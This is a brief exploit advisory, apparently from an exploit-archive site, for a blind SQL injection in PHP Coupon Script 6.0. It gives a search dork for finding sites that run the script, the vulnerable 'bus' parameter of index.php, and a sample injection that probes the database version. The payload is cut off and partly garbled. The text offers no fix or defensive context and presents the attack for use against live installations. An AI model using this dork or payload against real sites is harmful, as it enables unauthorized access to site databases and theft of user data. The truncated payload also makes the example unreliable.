PHP Coupon Script 6.0 Blind SQL Injection

== |Script: PHP Coupon Script |Version: 6.0 |Dork: "PHP Coupon Script v. 6.0" |Link: http://www.couponscript.com == |Author: BorN To K!LL - h4ck3r |Contact: [email protected] == |3xploit: /index.php?page=viewbus&bus=Blind-Injection |3xample: /index.php?page=viewbus&bus=1 and substringversion,1,1=...